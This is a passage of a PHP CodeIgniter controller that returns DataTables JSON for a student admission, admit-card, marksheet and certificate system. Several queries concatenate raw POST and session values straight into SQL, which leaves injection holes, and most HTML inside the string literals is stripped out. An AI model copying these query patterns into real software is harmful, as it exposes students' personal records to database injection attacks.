'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_cancel_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_cancel_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_cancel_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = student_cancel_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->pay_status == 2){ $status = 'CANCEL'; }else{ $status = ''; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; // $nestedData['SR_NO'] = $i; // $nestedData['ENTOLLMENT'] = $post->enrollment_no; // $nestedData['STUDENT_NAME'] = $post->student_name; // $nestedData['GENDER'] = $post->address; // $nestedData['FATHER_NAME'] = $post->father; // $nestedData['MOTHER_NAME'] = $post->mother; // $nestedData['DOB'] = $post->student_dob; // $nestedData['MOBILE'] = $post->mobile; // $nestedData['EMAIL'] = $post->email; // $nestedData['STATE'] = @$post->STATE_NAME; // $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; // $nestedData['EXAM_PASS'] = $post->brand_name; // $nestedData['MARKS'] = $post->disability; // $nestedData['USER_NAME'] = $post->username; // $nestedData['COURSE_NAME'] = $post->course_name; // $nestedData['CENTER_NAME'] = $post->institute_name; // $nestedData['CITY'] = $post->city; // $nestedData['PINCODE'] = $post->pincode; // $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; // $nestedData['PASSING_YEAR'] = $post->passing_year; // $nestedData['ADHAR_NUMBER'] = $post->adhar_number; // $nestedData['PHOTO'] = $image; // $nestedData['SIG'] = $image2; // $nestedData['LEFT_THUMB'] = $image3; // $nestedData['STATUS'] = $status; /*MY CODE*/ $image4 = '
    '; $image5 = '
    '; $image6 = '
    '; $image7 = '
    '; $image8 = '
    '; $nestedData['SR_NO'] = $i; $nestedData['ENROLLMENT'] = $post->enrollment_no; $nestedData['ADD_DATE'] = date("d-m-Y", strtotime($post->timestamp)); $nestedData['P_SERIAL_NO'] = $post->PROSPECTUS_SERIAL_NO; $nestedData['CATEGORY'] = $post->CATEGORY_NAME; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['BATCH'] = $post->BATCH_NAME; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['STUDENT_NAME'] = $post->student_name; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['FATHER_NAME'] = $post->father; $nestedData['DOB'] = ''.date("d-m-Y", strtotime($post->student_dob)).'' ; $nestedData['EMAIL'] = $post->email; $nestedData['MOBILE'] = $post->mobile; $nestedData['BLOOD_GROUP'] = $post->BG_NAME; $nestedData['ADDRESS'] = $post->address; $nestedData['COUTNRY'] = $post->COUNTRY_NAME; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['CITY'] = $post->city; $nestedData['GENDER'] = $post->GENDER_NAME; $nestedData['NATIONALITY'] = @$post->NATIONALITY_NAME; $nestedData['PARENT_OCCUPATION'] = @$post->BUSINESS_NAME; $nestedData['MEDIUM'] = $post->MEDIUM_NAME; $nestedData['COMMUNITY'] = $post->CAST_NAME; $nestedData['MARITAL_STATUS'] = $post->MS_NAME; $nestedData['MOTHER_TONGUE'] = $post->language; $nestedData['RELIGION'] = $post->RELIGION_NAME; $nestedData['PINCODE'] = $post->PINCODE; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; // $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['REG_NO'] = $post->reg_no; $nestedData['SUBJECT'] = $post->subject; $nestedData['BOARD'] = $post->city; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['PERCENTAGE'] = $post->marks; // $nestedData['DISABILITY'] = $post->disability; $nestedData['USER_NAME'] = $post->email; $nestedData['PHOTO'] = $image; $nestedData['TENTH'] = $image4; $nestedData['TWELTH'] = $image5; $nestedData['GRADUATION'] =$image6; $nestedData['OTHER'] = $image7; $nestedData['SIG'] = $image2; $nestedData['ADHAAR'] = $image8; // $nestedData['LEFT_THUMB'] = $image3; $nestedData['STATUS'] = $status; /*END OF CODE*/ if($_SESSION['type'] == 1){ $approve_status = ' APPROVE ADMISSION '; }else{ $approve_status = ''; } $nestedData['ACTION'] = ' '.$approve_status.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } //registration card public function registration_card_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = 'DESC'; //$dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_all_student_approve_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_student_approve_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = student_approve_list_search($limit, $start, $search,$order,$dir,$center); $totalFiltered = student_approve_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->pay_status == 1){ $status = 'APPROVE'; $enrollment = ''.$post->enroll.'
    ( '.date("d-m-Y", strtotime($post->addmission_date)) .' )    '; $payment = ' Paid '.$post->BATCH_NAME.' '; }else{ $status = 'CANCEL'; $enrollment = ''.$post->enroll.'
    ( '.date("d-m-Y", strtotime($post->addmission_date)) .' )    '; $payment = ' Pending '.$post->BATCH_NAME.' '; } $image = '
    '; $image2 = '
    '; $image3 = '
    '; $center_name = ''.$post->institute_name.' ( '.$post->center_number.' ) '; /*MY CODE*/ $image4 = '
    '; $image5 = '
    '; $image6 = '
    '; $image7 = '
    '; $image8 = '
    '; $nestedData['SR_NO'] = $i; $nestedData['ENROLLMENT'] = $enrollment.$center_name; $nestedData['ADD_DATE'] = date("d-m-Y", strtotime($post->timestamp)); $nestedData['P_SERIAL_NO'] = $post->PROSPECTUS_SERIAL_NO; $nestedData['CATEGORY'] = $post->brand_name; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['BATCH'] = $post->BATCH_NAME; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['STUDENT_NAME'] = $post->student_name.$payment; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['FATHER_NAME'] = $post->father; $nestedData['DOB'] = ''.date("d-m-Y", strtotime($post->student_dob)).'' ; $nestedData['EMAIL'] = $post->email; $nestedData['MOBILE'] = $post->mobile; $nestedData['BLOOD_GROUP'] = $post->BG_NAME; $nestedData['ADDRESS'] = $post->address; $nestedData['COUTNRY'] = $post->COUNTRY_NAME; $nestedData['STATE'] = @$post->STATE_NAME; $nestedData['DISTRICT'] = @$post->DISTRICT_NAME; $nestedData['CITY'] = $post->city; $nestedData['GENDER'] = $post->GENDER_NAME; $nestedData['NATIONALITY'] = @$post->NATIONALITY_NAME; $nestedData['PARENT_OCCUPATION'] = @$post->BUSINESS_NAME; $nestedData['MEDIUM'] = $post->MEDIUM_NAME; $nestedData['COMMUNITY'] = $post->CAST_NAME; $nestedData['MARITAL_STATUS'] = $post->MS_NAME; $nestedData['MOTHER_TONGUE'] = $post->language; $nestedData['RELIGION'] = $post->RELIGION_NAME; $nestedData['PINCODE'] = $post->pincode; $nestedData['HIGHEST_QUALIFICATION'] = $post->highest_qualification; // $nestedData['ADHAR_NUMBER'] = $post->adhar_number; $nestedData['REG_NO'] = $post->reg_no; $nestedData['SUBJECT'] = $post->subject; $nestedData['BOARD'] = $post->city; $nestedData['PASSING_YEAR'] = $post->passing_year; $nestedData['PERCENTAGE'] = $post->marks; // $nestedData['DISABILITY'] = $post->disability; $nestedData['USER_NAME'] = $post->email.$post->course_id; $nestedData['REG'] = 'VHTEC/'.@$post->course_code.'/'.@$post->sr_no.'/'.@$post->start; $nestedData['PHOTO'] = $image; $nestedData['TENTH'] = $image4; $nestedData['TWELTH'] = $image5; $nestedData['GRADUATION'] =$image6; $nestedData['OTHER'] = $image7; $nestedData['SIG'] = $image2; $nestedData['ADHAAR'] = $image8; // $nestedData['LEFT_THUMB'] = $image3; $nestedData['STATUS'] = $status.''; /*END OF CODE*/ // if($_SESSION['type'] == 1){ // $approve_status = ' CANCEL '; // }else{ // $approve_status = ''; // } // if($_SESSION['type'] == 1 && $post->STUDENT_CERTFICATE == 0){ // $print_cer = ' GENERATED CERTIFICATE '; // }else{ // $print_cer = ' CERTIFICATE GENERATED '; // } // if($_SESSION['type'] == 1 && $post->STUDENT_TC == 0){ // $print_tc = ' GENERATED TC '; // }else{ // $print_tc = ' TC GENERATED '; // } $nestedData['ACTION'] = ' DOWNLOAD '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function filter_download_admit_card() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $category_id = $_POST['category_id']; $course_id = $_POST['course_id']; $course_duration = $_POST['course_duration']; $totalData = count_filter_download_admit_card($center,$course_id,$course_duration); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_filter_download_admit_card($limit, $start, $order, $dir,$center,$course_id,$course_duration); } else { $search = $this->input->post('search')['value']; $posts = filter_download_admit_card_list_search($limit, $start, $search, $order, $dir,$center,$course_id,$course_duration); $totalFiltered = filter_download_admit_card_list_search_count($search,$center,$course_id,$course_duration); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->get_where('admit_card',['AC_STUDENT_ID'=>$post->STUDENT_ID, 'AC_COURSE'=>$course_id, 'AC_DURATION'=> $course_duration, 'AC_CATEGORY' => $category_id, ])->row(); if(@$row->AC_STATUS == 0){ $admit_card_status = ' PUBLISH ADMIT CARD '; $upload_marks = ''; $exam_date = ' UPDATE EXAM DATE/TIME '; $download_admit_card = ''; $generate_marksheet = ''; }else{ $admit_card_status = ' CANCEL ADMIT CARD '; if(@$row->AC_MARKSHEET_STATUS == 0){ $upload_marks = ' UPLOAD MARKS '; }else{ $upload_marks = ' DOWNLOAD MARKSHEET '; } $exam_date = ''; $download_admit_card = ' DOWNLOAD'; if(@$row->AC_MARKSHEET_STATUS == 0){ $generate_marksheet = ' GENERATE MARKSHEET '; }else{ $generate_marksheet = ' CANCELL MARKSHEET '; } } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = $post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->student_name; $nestedData['COURSE'] = ''.$post->course_name.' / '.@$post->CDL_NAME.''; $nestedData['SESSION'] = @$post->start.'-'.@$post->end; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = $post->institute_name; //$nestedData['STUDENT_ROLL_NO'] = ''; $nestedData['STUDENT_ROLL_NO'] = ''; $nestedData['ACTION'] = ' '.$exam_date.' '.$admit_card_status.' '.$download_admit_card.' '.$upload_marks.' '.$generate_marksheet.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function exam_date_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $student_id = $_POST['student_id']; $duration = $_POST['course_duration']; $courseid = $this->db->query("SELECT * FROM `students` WHERE `id` = '".$student_id."'")->row('course_id'); $totalData = count_all_exam_date_subject_list($duration,$courseid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_exam_date_subject_list($limit, $start, $order, $dir,$duration,$courseid); } else { $search = $this->input->post('search')['value']; $posts = exam_date_subject_list_search($limit, $start, $search, $order, $dir,$duration,$courseid); $totalFiltered = exam_date_subject_list_search_count($search,$duration,$courseid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $row = $this->db->get_where('Assign_exam_student',['AES_STUDENT_ID'=>$student_id,'AES_SUBJECT_ID'=>$post->SUBJECT_ID,'AES_DURATION'=> $duration])->row(); $nestedData['SR_NO'] = $i; $nestedData['SUBJECT_NAME'] = $post->subject_name; if($post->max_marks > 0){ $nestedData['THEORY_DATE'] = 'AES_EXAM_DATE)).'">'; }else{ $nestedData['THEORY_DATE'] = ''; } if($post->practical_max_marks > 0){ $nestedData['PRACTICAL_DATE'] = 'AES_PRACTICAL_EXAM_DATE)) .'">'; }else{ $nestedData['PRACTICAL_DATE'] = ''; } if($post->max_marks > 0){ $nestedData['START_TIME'] = ' '; }else{ $nestedData['START_TIME'] = ' '; } if($post->practical_max_marks > 0){ $nestedData['END_TIME'] = ' '; }else{ $nestedData['END_TIME'] = ' '; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function exam_subject_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $student_id = $_POST['student_id']; $duration = $_POST['course_duration']; $sm_temp_id = $_POST['sm_temp_id']; $courseid = $this->db->query("SELECT * FROM `admit_card` WHERE `AC_TEMP_ID` LIKE '".$_POST['sm_temp_id']."'")->row('AC_COURSE'); $totalData = count_all_exam_date_subject_list($duration,$courseid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_exam_date_subject_list($limit, $start, $order, $dir,$duration,$courseid); } else { $search = $this->input->post('search')['value']; $posts = exam_date_subject_list_search($limit, $start, $search, $order, $dir,$duration,$courseid); $totalFiltered = exam_date_subject_list_search_count($search,$duration,$courseid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $row = $this->db->get_where('exam_subject_marks_list',['ESML_STUDENT_ID'=>$student_id,'ESML_COURSE_DURATION'=>$duration,'ESML_SUBJECT_ID'=>$post->SUBJECT_ID ])->row(); $nestedData['SR_NO'] = $i; $nestedData['SUBJECT_NAME'] = $post->subject_name; if($post->max_marks > 0){ $nestedData['THEORY_MARKS'] = ''; }else{ $nestedData['THEORY_MARKS'] = ''; } if($post->practical_max_marks > 0){ $nestedData['PRACTICAL_MARKS'] = ''; }else{ $nestedData['PRACTICAL_MARKS'] = ''; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function download_marksheet_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_marksheet($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_marksheet($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_marksheet_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_marksheet_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; // $row = $this->db->get_where('admit_card',['AC_STUDENT_ID'=>$post->STUDENT_ID, // //'AC_COURSE'=>$course_id, // 'AC_DURATION'=> $post->CDL_ID, // //'AC_CATEGORY' => $category_id, // ])->row(); $row = $this->db->query("SELECT * FROM `admit_card` LEFT JOIN students ON students.id=admit_card.AC_STUDENT_ID LEFT JOIN batch_session ON batch_session.BATCH_ID=admit_card.AC_BATCH WHERE admit_card.AC_STUDENT_ID='".$post->STUDENT_ID."' AND admit_card.AC_DURATION='".$post->CDL_ID."'")->row(); if(@$row->AC_STATUS == 0){ $admit_card_status = ' PUBLISH ADMIT CARD '; $upload_marks = ''; $exam_date = ' UPDATE EXAM DATE/TIME '; $download_admit_card = ''; $generate_marksheet = ''; }else{ $admit_card_status = ' CANCEL ADMIT CARD '; if(@$row->AC_MARKSHEET_STATUS == 0){ $upload_marks = ' UPLOAD MARKS '; }else{ $upload_marks = ' DOWNLOAD MARKSHEET '; } $exam_date = ''; $download_admit_card = ' DOWNLOAD'; if(@$row->AC_MARKSHEET_STATUS == 0){ $generate_marksheet = ' GENERATE MARKSHEET '; }else{ $generate_marksheet = ''; } } if($_SESSION['type'] == 1){ $basic_rec = '

    '; }else{ $basic_rec = ''; } $SESSION = $post->start.'-'.$post->end; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no.'
    BATCH : '.@$row->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->name.'
    SESSION : '.@$SESSION.'
    YEAR : '.@$post->CDL_NAME.' '; $nestedData['COURSE'] = '

    '.$post->course_name.'

    '; //$nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; //$nestedData['MOTHER_NAME'] = $post->mother; // $nestedData['DOB'] = $post->dob; //$nestedData['MOBILE'] = $post->mobile; //$nestedData['EMAIL'] = $post->email; //$nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; /* $nestedData['STUDENT_ROLL_NO'] = ' ROLL NO : '.@$row->AC_ROLL_NO.'
    '.$basic_rec.' '; */ $nestedData['ACTION'] = ' ROLL NO : '.@$row->AC_ROLL_NO.'
    '.$basic_rec.' '.$upload_marks.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function download_certificate_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } // die('hii'); $totalData = count_download_certificate($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_certificate($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_certificate_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_certificate_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->query("SELECT * FROM `admit_card` LEFT JOIN students ON students.id=admit_card.AC_STUDENT_ID LEFT JOIN batch_session ON batch_session.BATCH_ID=admit_card.AC_BATCH WHERE admit_card.AC_STUDENT_ID='".$post->STUDENT_ID."' ORDER BY AC_ID LIMIT 1")->row(); $certificate = ' DOWNLOAD '; if($_SESSION['type'] == 1){ $basic_info = '
    '.'


    '; }else{ $basic_info = ''; } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; //$nestedData['ENTOLLMENT'] = @$post->enrollment_no; $nestedData['ENTOLLMENT'] = @$post->enrollment_no.'
    BATCH : '.@$row->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = '

    '.$post->course_name.'

    '; // $nestedData['STUDENT_NAME'] = $post->name; // $nestedData['COURSE'] = ''.$post->course_name.' / '.@$row->CDL_NAME.''; //$nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; /* $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; */ $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; $nestedData['STUDENT_ROLL_NO'] = ' '.$certificate.' '.$basic_info.' '; /* $nestedData['ACTION'] = ' '.$certificate.' '; */ $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function download_student_tc_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_tc($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_tc($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_tc_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_tc_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->query("SELECT * FROM `admit_card` LEFT JOIN students ON students.id=admit_card.AC_STUDENT_ID LEFT JOIN batch_session ON batch_session.BATCH_ID=admit_card.AC_BATCH WHERE admit_card.AC_STUDENT_ID='".$post->STUDENT_ID."' ORDER BY AC_ID LIMIT 1")->row(); $tc_date=date('d-m-Y',strtotime(@$post->tc_issue_date)); $tc = ' DOWNLOAD TC '; if($_SESSION['type'] == 1){ $basic_info = ''.'
    '; }else{ $basic_info = ''; } $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; //$nestedData['ENTOLLMENT'] = @$post->enrollment_no; $nestedData['ENTOLLMENT'] = @$post->enrollment_no.'
    BATCH : '.@$row->BATCH_NAME.''; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = '
    '.$post->course_name.'
    '; //$nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father.'
    '.$post->mother; /* $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; */ $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; $nestedData['STUDENT_ROLL_NO'] = ' '.$tc.'
    '.$basic_info.' '; /* $nestedData['ACTION'] = ' '.$tc.' '; */ $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*---------------------------- start print marksheet ---------------------------------------------*/ /* public function print_marksheet_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_marksheet($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_marksheet($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_marksheet_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_marksheet_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
